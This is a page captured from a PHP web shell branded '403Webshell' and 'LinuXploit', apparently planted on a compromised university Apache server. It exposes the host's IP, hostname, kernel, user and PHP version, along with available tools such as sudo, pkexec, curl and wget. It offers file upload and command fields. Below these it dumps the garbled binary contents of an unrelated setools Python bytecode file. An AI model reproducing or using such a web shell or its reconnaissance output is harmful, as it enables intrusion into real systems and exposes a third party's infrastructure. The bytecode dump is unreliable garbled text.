403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/setools/diff/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/setools/diff/__pycache__/ibendportcon.cpython-36.pyc
3

�^!
�@shddlmZddlmZddlmZddlmZmZedddd	g�Z	Gd
d�de�Z
Gdd
�d
e�ZdS)�)�
namedtuple�)�ContextWrapper)�DiffResultDescriptor)�
Difference�WrapperZmodified_ibendportconZruleZ
added_contextZremoved_contextc@s8eZdZdZed�Zed�Zed�Zdd�Zdd�Z	dS)�IbendportconsDifferencez?Determine the difference in ibendportcons between two policies.�diff_ibendportconscCs�|jjdj|��|jdd�|jj�D�dd�|jj�D��\|_|_}g|_	x<|D]4\}}t
|j�t
|j�krT|j	jt
||j|j��qTWdS)z>Generate the difference in ibendportcons between the policies.zLGenerating ibendportcon differences from {0.left_policy} to {0.right_policy}css|]}t|�VqdS)N)�IbendportconWrapper)�.0�n�r
�$/usr/lib64/python3.6/ibendportcon.py�	<genexpr>0sz=IbendportconsDifference.diff_ibendportcons.<locals>.<genexpr>css|]}t|�VqdS)N)r
)rrr
r
rr1sN)�log�info�formatZ	_set_diffZleft_policyZ
ibendportconsZright_policy�added_ibendportcons�removed_ibendportcons�modified_ibendportconsr�context�append�modified_ibendportcon_record)�selfZmatched_ibendportconsZ	left_ibepZ
right_ibepr
r
rr	's z*IbendportconsDifference.diff_ibendportconscCs"|jjd�d|_d|_d|_dS)z%Reset diff results on policy changes.z"Resetting ibendportcon differencesN)r�debugrrr)rr
r
r�_reset_diffAsz#IbendportconsDifference._reset_diffN)
�__name__�
__module__�__qualname__�__doc__rrrrr	rr
r
r
rrsrc@s4eZdZdZd
Zdd�Zdd�Zdd	�Zd
d�ZdS)r
z/Wrap ibendportcon statements for diff purposes.�name�portcCs$||_|j|_|j|_t|�|_dS)N)�originr r!�hash�key)rZoconr
r
r�__init__OszIbendportconWrapper.__init__cCs|jS)N)r$)rr
r
r�__hash__UszIbendportconWrapper.__hash__cCs|j|jkS)N)r")r�otherr
r
r�__lt__XszIbendportconWrapper.__lt__cCs|j|jko|j|jkS)N)r r!)rr'r
r
r�__eq__[szIbendportconWrapper.__eq__N)r r!)	rrrr�	__slots__r%r&r(r)r
r
r
rr
Isr
N)�collectionsrrrZdescriptorsr�
differencerrrrr
r
r
r
r�<module>s*

Youez - 2016 - github.com/yon3zu
LinuXploit